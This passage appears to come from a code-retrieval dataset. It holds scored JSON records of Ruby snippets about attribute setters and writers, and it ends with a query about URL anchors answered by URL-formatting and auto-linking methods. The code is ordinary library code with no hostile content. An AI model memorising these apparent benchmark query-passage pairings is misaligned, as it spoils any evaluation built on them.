attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end", "title": "" }, { "docid": "a0d0ed9a2ab935afe6b5794267d3023f", "score": "0.54617554", "text": "def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end", "title": "" }, { "docid": "4eeee0435263f39fe9efffed6c36b6f0", "score": "0.5461167", "text": "def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end", "title": "" }, { "docid": "b3b39dc4ede511140e50436caceec302", "score": "0.5451583", "text": "def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end", "title": "" }, { "docid": "3b9775494b0a1bcc1bcc860ac4ef6746", "score": "0.54498726", "text": "def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end", "title": "" }, { "docid": "3b9775494b0a1bcc1bcc860ac4ef6746", "score": "0.54498726", "text": "def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end", "title": "" }, { "docid": "7c7ca9f11548e9700e8f4c5954b15f1e", "score": "0.54359984", "text": "def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end", "title": "" }, { "docid": "6cfe1f2e4a55f6e4beeaef590b0a1391", "score": "0.5430996", "text": "def sanitized_allowed_attributes=(attributes); end", "title": "" }, { "docid": "6cfe1f2e4a55f6e4beeaef590b0a1391", "score": "0.5430996", "text": "def sanitized_allowed_attributes=(attributes); end", "title": "" }, { "docid": "2368eafcb2d6fc6fbb0c8339423c4aad", "score": "0.5426488", "text": "def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end", "title": "" }, { "docid": "3c17549486c7539f3cad16da6c19a3e0", "score": "0.5418467", "text": "def valid_attributes\n { name: \"Expert\" }\n end", "title": "" }, { "docid": "af3bd6b6a91cbaa7a6ee1104003a7fe6", "score": "0.54153895", "text": "def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end", "title": "" }, { "docid": "56e3f9680d5dbc6e23edd0d4608a091b", "score": "0.54107565", "text": "def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end", "title": "" }, { "docid": "d65d4af4431cd502fb99d1e1853ece92", "score": "0.5407886", "text": "def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end", "title": "" }, { "docid": "0c05c887c4e2d9338da6a1c81368edff", "score": "0.5401234", "text": "def valid_attributes\n { \"username\" => \"MyString\" }\n end", "title": "" }, { "docid": "581d45576922299243547a9f7fc3f463", "score": "0.54008496", "text": "def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end", "title": "" }, { "docid": "5768aa1c3dc6d9b51bf7bbc4673f3d99", "score": "0.5400268", "text": "def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end", "title": "" }, { "docid": "73b095cb85d0ab2e93546a1b1f0f70cd", "score": "0.53910094", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end", "title": "" }, { "docid": "89369c043da602d2c1048bf50237eab9", "score": "0.53827274", "text": "def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end", "title": "" }, { "docid": "f18732b84a87a66e4ff0032defe34dc4", "score": "0.5377731", "text": "def has_attributes?; end", "title": "" }, { "docid": "c0eec46390e6d553dcc5b0b1c5063d20", "score": "0.5375473", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end", "title": "" }, { "docid": "14ec4dd52acc7862f4ca927f4bfc47cd", "score": "0.5374833", "text": "def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "7a1925bb5b514a5aaf14c44d395d2fa5", "score": "0.53720397", "text": "def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end", "title": "" }, { "docid": "baca52f15f0b8703d7e5ae0f9a5c0bef", "score": "0.5370215", "text": "def attr(symbol, writable=false) end", "title": "" }, { "docid": "cf3b01634551e40d389403ce6cf6096f", "score": "0.5363264", "text": "def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end", "title": "" }, { "docid": "c84b10e149119b1014ad5c102accc19a", "score": "0.5361161", "text": "def validate\n validate_string_attributes\n end", "title": "" }, { "docid": "0bb1da40d3d260a36335eb555631615a", "score": "0.5360557", "text": "def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end", "title": "" }, { "docid": "587d7da9936a851354ca1232baf5b869", "score": "0.5351706", "text": "def define_attr_accessor(attr)\n attr_accessor(attr)\n end", "title": "" }, { "docid": "af8d5bb2e031036f6ccd789b7a556b94", "score": "0.53514725", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end", "title": "" }, { "docid": "a9a890b66030eba0877102e7863ecb9e", "score": "0.53492516", "text": "def validate_attribute_syntax\n\t\t@values.each do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "91b471ca37220bed55aee2923af49ed6", "score": "0.53459316", "text": "def valid_attributes\n { }\n end", "title": "" }, { "docid": "f4da066a58975c3463289ab46d41ef74", "score": "0.5341237", "text": "def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end", "title": "" }, { "docid": "ea90de862740d9f7258b3dec87dcec01", "score": "0.5328037", "text": "def valid_attributes\n { }\n end", "title": "" }, { "docid": "ea90de862740d9f7258b3dec87dcec01", "score": "0.5328037", "text": "def valid_attributes\n { }\n end", "title": "" }, { "docid": "eafc3fa2b0dd6acb3d59403a272830a8", "score": "0.53230566", "text": "def attribute_name=(_arg0); end", "title": "" }, { "docid": "eafc3fa2b0dd6acb3d59403a272830a8", "score": "0.53230566", "text": "def attribute_name=(_arg0); end", "title": "" }, { "docid": "eafc3fa2b0dd6acb3d59403a272830a8", "score": "0.53230566", "text": "def attribute_name=(_arg0); end", "title": "" }, { "docid": "3a57678be68c5032227a803937e25f70", "score": "0.5319575", "text": "def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end", "title": "" }, { "docid": "6fd447bf8d13756547abd0860d244ab4", "score": "0.531832", "text": "def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end", "title": "" }, { "docid": "639512c2ab926defd80a9c8f2f8c5d31", "score": "0.5315559", "text": "def attribute; end", "title": "" }, { "docid": "639512c2ab926defd80a9c8f2f8c5d31", "score": "0.5315559", "text": "def attribute; end", "title": "" } ]
f059b3f57811df4ee0b83b9759b62506
Used to append '' to urls for field names that need an anchor
[ { "docid": "34af6cf6034a8886928020a631001f23", "score": "0.0", "text": "def field_name_to_anchor_map\n {\n property_values: :property_value,\n outstanding_mortgages: :outstanding_mortgage_amount,\n percentage_homes: :percentage_home\n }\n end", "title": "" } ]
[ { "docid": "2b052807710bd306e25e9d195f00600d", "score": "0.6463846", "text": "def generate_url_name\n if !self.name.blank?\n self.url_name = self.name.gsub(/[^a-zA-Z0-9\\ ]/,\" \").gsub(/\\ \\ +/,\" \").gsub(/\\ /,\"-\").downcase\n end\n end", "title": "" }, { "docid": "2a3de9e814d9ef7b88812d5a70e4fc2c", "score": "0.63011384", "text": "def generate_url_alias\n generated_url_alias = ''\n\n if parent_url_alias\n generated_url_alias << \"#{parent_url_alias}/\"\n end\n\n generated_url_alias << Node.clean_for_url(content.path_for_url_alias(self))\n\n generated_url_alias\n end", "title": "" }, { "docid": "7e34046a568e36fe8514a776e5bbad5c", "score": "0.6299156", "text": "def blanky_url!(input)\n input.gsub!(REGEX_URL) { separator + m(:url, data: $LAST_MATCH_INFO) + separator }\n end", "title": "" }, { "docid": "c8543b1f0845e3073cc3df73a8adf506", "score": "0.62836444", "text": "def url_placeholders; end", "title": "" }, { "docid": "d20fa9ab9c6cc1e4ea540fddab55fbd2", "score": "0.6210756", "text": "def generate_custom_url_alias\n generated_custom_url_alias = ''\n\n if !custom_url_suffix.starts_with?('/') && parent_url_alias\n generated_custom_url_alias << \"#{parent_url_alias}/\"\n end\n\n generated_custom_url_alias << Node.clean_for_url(custom_url_suffix.starts_with?('/') ? custom_url_suffix[1..-1] : custom_url_suffix)\n\n generated_custom_url_alias\n end", "title": "" }, { "docid": "b3d8448f88b510b606f55b1b7c10b1f9", "score": "0.61222875", "text": "def refs_auto_link(text)\r\n @rails_helper.auto_link(text)\r\n text.gsub!(AUTO_LINK_RE) do\r\n all, a, b, c, d = $&, $1, $2, $3, $5\r\n if a =~ /<a\\s/i # don't replace URL's that are already linked\r\n all\r\n else\r\n text = b + c\r\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{text}</a>#{d})\r\n end\r\n end\r\n end", "title": "" }, { "docid": "f9dca3c0f898dc030649d0b1251cd5e7", "score": "0.6112515", "text": "def prefix_link\n if self.link && self.link.length > 0\n unless self.link.starts_with?('http')\n self.link = 'http://' + self.link\n end\n end\n end", "title": "" }, { "docid": "93ed717397a03df1cbe204172f59e7f2", "score": "0.61087924", "text": "def convert_url_name(value)\n url_name = convert_to_urlname(value.blank? ? name : value)\n if url_name.length < 3\n ('-' * (3 - url_name.length)) + url_name\n else\n url_name\n end\n end", "title": "" }, { "docid": "4b52f8ddb39684305fa68fed35f0b0af", "score": "0.61064696", "text": "def sanitize_url\n anchor_start = \"<a href=\\\"\"\n anchor_end = \"\\\">.</a>\"\n\n anchor = ActionController::Base.helpers.sanitize(\"#{anchor_start}#{@url}#{anchor_end}\")\n @url = anchor[anchor_start.length .. -(anchor_end.length + 1)]\n end", "title": "" }, { "docid": "82848c8c8d2b2d1e2d5d2041762c8f09", "score": "0.60417384", "text": "def fake_url\n return source.to_s + pub_date.to_s + headline.to_s\n end", "title": "" }, { "docid": "741e858cb834b067b53cb6e0911a47ad", "score": "0.60386765", "text": "def add_http\n return \"\" if self.blank?\n return \"http://#{self}\" unless self.starts_with?(\"http\")\n self\n end", "title": "" }, { "docid": "741e858cb834b067b53cb6e0911a47ad", "score": "0.60386765", "text": "def add_http\n return \"\" if self.blank?\n return \"http://#{self}\" unless self.starts_with?(\"http\")\n self\n end", "title": "" }, { "docid": "fbf5e030adbcb2feba022a6acaf562c8", "score": "0.60121053", "text": "def set_url_name\r\n self.url_name = name.gsub(/\\s/, \"-\").gsub(/[^a-zA-Z0-9-]/, \"\").downcase\r\n end", "title": "" }, { "docid": "9c9103deb8af9631c93e101d7d60b47c", "score": "0.59863555", "text": "def remove_url_anchor(url)\n url.gsub /(.+)(#.+)/, '\\1'\nend", "title": "" }, { "docid": "bb29bd241db86b0844ad03dfed62afc2", "score": "0.59858346", "text": "def fix_url_format\n if !self.url.blank? && !self.url.match(/^http/i)\n self.url = \"http://#{self.url}\"\n end\n end", "title": "" }, { "docid": "bb29bd241db86b0844ad03dfed62afc2", "score": "0.59858346", "text": "def fix_url_format\n if !self.url.blank? && !self.url.match(/^http/i)\n self.url = \"http://#{self.url}\"\n end\n end", "title": "" }, { "docid": "1ccb541dac19070d71b9775de9913d16", "score": "0.59793925", "text": "def add_http_to_url\n self.url = \"http://\"+self.url if self.url[0..3] != \"http\"\n end", "title": "" }, { "docid": "7f156b15b3bf2c950421faee1e2d084d", "score": "0.5970093", "text": "def rebuild_eds_full_record_link\n db, an = request.fullpath.split('/').reject(&:blank?) - ['record']\n ['http://search.ebscohost.com/login.aspx?direct=true&site=eds-live',\n \"&db=#{db}\",\n \"&AN=#{an}\",\n '&custid=s8978330&groupid=main&profile=eds&authtype=ip,sso'].join\n end", "title": "" }, { "docid": "c7283491e07c5ae1f1c6765a41c0f476", "score": "0.5950282", "text": "def url_simples attr\n url = attr[/:\\/\\/([^\\/]+)/,1]\n url = url.gsub(/^www\\./,'') unless url.nil?\nend", "title": "" }, { "docid": "464706bc84f4bb0a89a758115566ada7", "score": "0.5944322", "text": "def auto_link(str)\n pos = 0\n result = \"\"\n uri_exp = URI.regexp([\"http\", \"https\", \"ftp\"])\n exp = /(^|\\s|[^\\x20-\\x7f])((\\#[a-zA-Z\\d_]+)|(@[a-zA-Z\\d_]+)|(#{uri_exp}))/\n str.gsub(exp) do\n m = Regexp.last_match\n result << CGI.escapeHTML(str[pos...m.begin(0)])\n prefix = $1\n if $3\n text = $3\n url = \"/search?q=\" + CGI.escape(text)\n target = \"_self\"\n elsif $4\n text = $4\n url = \"http://twitter.com/%s\" % text.gsub(/^@/, \"\")\n target = \"_blank\"\n elsif $5\n text = $5\n url = text\n target = \"_blank\"\n end\n result << '%s<a href=\"%s\" target=\"%s\">%s</a>' %\n [CGI.escapeHTML(prefix), CGI.escapeHTML(url), target, CGI.escapeHTML(text)]\n pos = m.end(0)\n end\n result << CGI.escapeHTML(str[pos..-1])\n return result\n end", "title": "" }, { "docid": "2ee83e25c0411f6be4b92a3f99da3f4a", "score": "0.5939966", "text": "def set_url_name\n self.url_name = name.gsub(/\\s/, \"-\").gsub(/[^a-zA-Z0-9-]/, \"\").downcase\n end", "title": "" }, { "docid": "2a4291af2562ad5db61a0ead965aa8d4", "score": "0.5931216", "text": "def nl_url\n return '/' + first_name + ((last_name.blank?) ? '' : '.' + last_name)\n end", "title": "" }, { "docid": "46829fdc85395bec9e2dac6dc12263b6", "score": "0.5925474", "text": "def auto_link_urls(text)\n text.gsub(AUTO_LINK_RE) do\n all, a, b, c, d = $&, $1, $2, $3, $4\n \n if a =~ /<a\\s/i # don't replace URL's that are already linked\n all\n else\n text = b + c\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{text}</a>#{d})\n end\n end\n end", "title": "" }, { "docid": "df82b3b75a84ae8f263d81788ea2609e", "score": "0.5914685", "text": "def generate_url\n if self.title.present?\n self.url = self.title.parameterize.underscore if (self.url.blank? or self.url == self.title_was.try(:parameterize).try(:underscore))\n end\n end", "title": "" }, { "docid": "46e0b0b8bf6e0ef6b4b765d3dcfd9279", "score": "0.5901713", "text": "def friendly_url\n self.url = ((auto_url || url.empty?) ? parameterize(transliterate(name, '')) : url)\n end", "title": "" }, { "docid": "562433142807b95dbbaf9278b58a7061", "score": "0.5878719", "text": "def set_uri_append\n # TODO:\n # * Support different padding types\n \"\"\n end", "title": "" }, { "docid": "8429d826fb0ed3984a449c85a9a91027", "score": "0.58554715", "text": "def handle_internal_doc_links(full_doc)\n full_doc.gsub(/\\[{2}([^|\\]]*)\\|?([^|\\]]*)\\]{2}/) { |s|\n docname = $1.strip\n url = @docset.full_url(docname)\n\n display_text = docname\n unless $2.strip.empty?\n url_parts = $2.strip.split('#')\n url = @docset.full_url(url_parts[0].strip)\n if url_parts.length == 2\n url << \"##{url_parts[1]}\"\n end\n end\n\n display_text and url ? \"<a href='#{url}' class='internal'>#{display_text}</a>\" : s\n }\n end", "title": "" }, { "docid": "92ff1b7844c17e615114aea8d5b583b8", "score": "0.58405405", "text": "def set_url_alias(force = false)\n self.url_alias = generate_unique_url_alias if url_alias.blank? || force\n end", "title": "" }, { "docid": "506b39499c3625a8fc21db63d6e3ce06", "score": "0.58206093", "text": "def shorthand_url(input)\n input.gsub /(https?:\\/\\/)(\\S+)/ do\n $2\n end\n end", "title": "" }, { "docid": "506b39499c3625a8fc21db63d6e3ce06", "score": "0.58206093", "text": "def shorthand_url(input)\n input.gsub /(https?:\\/\\/)(\\S+)/ do\n $2\n end\n end", "title": "" }, { "docid": "030de2c2ba1d09b264659661672d449f", "score": "0.5812071", "text": "def format_url(url = nil)\n return \"\" if url.nil?\n return url if url.start_with?(\"http\")\n url.insert(0, \"http://\")\n end", "title": "" }, { "docid": "8c1a7b994f12ff5366f41e21dc806093", "score": "0.5811802", "text": "def fix_urls\n return unless self.url\n self.url.gsub!(/^(.*)/, 'http://\\1') unless self.url =~ %r{^http://} or self.url.empty?\n end", "title": "" }, { "docid": "fcbfcdfe8279b9fbcebd98e4237e5e09", "score": "0.58093834", "text": "def set_link\n field = link.blank? ? title : link\n if field.present?\n link_new = Russian.translit(field.strip.gsub(/ /, '-').gsub(/[^A-Za-z0-9\\-_]/, '')).downcase\n self.link = link_new unless link_new == '/'\n end\n end", "title": "" }, { "docid": "1c3709fcecb4ebebc79af4094214cff8", "score": "0.58027345", "text": "def href\n @title.gsub(/[^a-zA-Z0-9]+/, '-')\n end", "title": "" }, { "docid": "1c3709fcecb4ebebc79af4094214cff8", "score": "0.58027345", "text": "def href\n @title.gsub(/[^a-zA-Z0-9]+/, '-')\n end", "title": "" }, { "docid": "154db0a4e8c4925febc8aadc669007d7", "score": "0.5801223", "text": "def set_uri_append\n\t\t# TODO:\n\t\t# * Support different padding types\n\t\t\"\"\n\tend", "title": "" }, { "docid": "c1302f8c3698db3d16259ca1bf6ec2fd", "score": "0.5789422", "text": "def blanky_link!(input)\n input.gsub!(REGEX_LINK) do\n data = $LAST_MATCH_INFO\n b(:bot, data: data) + m(:alt, data: data) + b(:sep, data: data) + b(:href, data: data) + b(:eot, data: data)\n end\n end", "title": "" }, { "docid": "9b908e2e001ad35a3cf2d41558cb0485", "score": "0.5789401", "text": "def url_format\n self.name.gsub(\" \", \"%20\").gsub(\".\", \"\").downcase\n end", "title": "" }, { "docid": "9b908e2e001ad35a3cf2d41558cb0485", "score": "0.5789401", "text": "def url_format\n self.name.gsub(\" \", \"%20\").gsub(\".\", \"\").downcase\n end", "title": "" }, { "docid": "c26dbde4c49923ea8b02f6c29cd64dbf", "score": "0.57803756", "text": "def anchor_link(raw)\n @anchors ||= {}\n\n name = raw\n .downcase\n .strip\n .gsub(/<\\/?[^>]*>/, '') # Strip links\n .gsub(/\\W+/, '-') # Whitespace to -\n .gsub(/\\A\\-/, '') # No leading -\n .squeeze('-') # Collapse --\n\n i = 0\n link = name\n while @anchors.key?(link) do\n i += 1\n link = \"#{name}-#{i}\"\n end\n @anchors[link] = true\n return link\n end", "title": "" }, { "docid": "0b36eeecee4145f4f7f9c44ba519c5a4", "score": "0.57803184", "text": "def references_url(args)\n args[:document][args[:field]].each_with_index do |reference, i|\n if (url = reference[/ (http.*)$/])\n reference = reference.chomp(url)\n args[:document][args[:field]][i] = link_to(reference, url.gsub(/\\s/, ''), target: '_blank')\n end\n end\n end", "title": "" }, { "docid": "c0a7c70fe73e23c8958328acd9234f80", "score": "0.57773274", "text": "def formatted_url\n endpoint.path\n .gsub('(.:format)', '')\n .gsub(/(:(?<param>\\w+))/, '{\\k<param>}')\n .gsub(Brainstem::ApiDocs.base_path, '')\n end", "title": "" }, { "docid": "2d012c3b18c224eb7cd826a5f7ea9653", "score": "0.576688", "text": "def aref\n title = @title || '[untitled]'\n\n CGI.escape(title).gsub('%', '-').sub(/^-/, '')\n end", "title": "" }, { "docid": "c99e0807980b5cfef4dc4daa7efce76d", "score": "0.5765448", "text": "def setup_url_fields(*columns) \n columns.each do |column|\n \n # Define a method to format the URL string before validation\n # method will automatically prefix the string with http:// if\n # a scheme is not present\n define_method(\"format_#{column}\") do\n scheme = (self.send(column).to_s.match(/([a-zA-Z][\\-+.a-zA-Z\\d]*):.*$/).try(:captures) || [])[0]\n if(self.send(column).present?)\n formatted_url = scheme.present? ? self.send(column) : (\"http://\" + self.send(column))\n self.send(\"#{column}=\", formatted_url)\n end\n end\n \n # Call the url formatting method before validation\n before_validation \"format_#{column}\".to_sym\n \n # Validates the url column based on Ruby's built-in URI format regex\n validates column,\n allow_blank: true,\n format: { with: URI.regexp }\n end\n end", "title": "" }, { "docid": "5d10a1cfd8094f55a8e9728b2a9d2513", "score": "0.576251", "text": "def url_name(name_source)\n name_source.gsub(CLEANER, \" \").squeeze(\" \")\n end", "title": "" }, { "docid": "ba8ce292d0b433bc5078e32ae5561191", "score": "0.5759697", "text": "def auto_link!(text)\n text.gsub!(AUTO_LINK_RE) do\n all, leading, proto, url, post = $&, $1, $2, $3, $6\n if /<a\\s/i.match?(leading) || /![<>=]?/.match?(leading)\n # don't replace URLs that are already linked\n # and URLs prefixed with ! !> !< != (textile images)\n all\n else\n # Idea below : an URL with unbalanced parenthesis and\n # ending by ')' is put into external parenthesis\n if url[-1] == \")\" && ((url.count(\"(\") - url.count(\")\")) < 0)\n url = url[0..-2] # discard closing parenthesis from url\n post = \")\" + post # add closing parenthesis to post\n end\n content = proto + url\n href = \"#{proto==\"www.\"?\"http://www.\":proto}#{url}\"\n %(#{leading}<a class=\"external\" href=\"#{ERB::Util.html_escape href}\">#{ERB::Util.html_escape content}</a>#{post}).html_safe\n end\n end\n end", "title": "" }, { "docid": "11588250665c15946cb0cf53ab508e5c", "score": "0.575841", "text": "def add_default_permalink\n \t\tif permalink.blank? # any time you are setting attributes in a model, it is importnat to use self\n \t\tself.permalink = \"#{id}-#{name.parameterize}\" # paramaetize- take this anme string and turn it into somthing that is sususitalbe for something in the url, get ride of any weird symbols, lowercase, etc\n \t\tend \n \tend", "title": "" }, { "docid": "ae0151c4e7590e8ea957183db5393316", "score": "0.57495326", "text": "def escape_anchor(anchor)\n\t\tanchor.gsub(/[.:]/, '-')\n\tend", "title": "" }, { "docid": "df1329aafd3ac6095903866eb3ec9128", "score": "0.5747178", "text": "def auto_link!(text)\n text.gsub!(AUTO_LINK_RE) do\n all, leading, proto, url, post = $&, $1, $2, $3, $6\n if leading =~ /<a\\s/i || leading =~ /![<>=]?/\n # don't replace URL's that are already linked\n # and URL's prefixed with ! !> !< != (textile images)\n all\n else\n # Idea below : an URL with unbalanced parethesis and\n # ending by ')' is put into external parenthesis\n if ( url[-1]==?) and ((url.count(\"(\") - url.count(\")\")) < 0 ) )\n url=url[0..-2] # discard closing parenth from url\n post = \")\"+post # add closing parenth to post\n end\n content = proto + url\n href = \"#{proto==\"www.\"?\"http://www.\":proto}#{url}\"\n %(#{leading}<a class=\"external\" href=\"#{ERB::Util.html_escape href}\">#{ERB::Util.html_escape content}</a>#{post}).html_safe\n end\n end\n end", "title": "" }, { "docid": "67941ffa7fdf2527e4876c48d7548212", "score": "0.5747", "text": "def create_permalink\n self.permalink = self.full_name_no_spaces.gsub(/\\s/, \"-\").gsub(/_/, 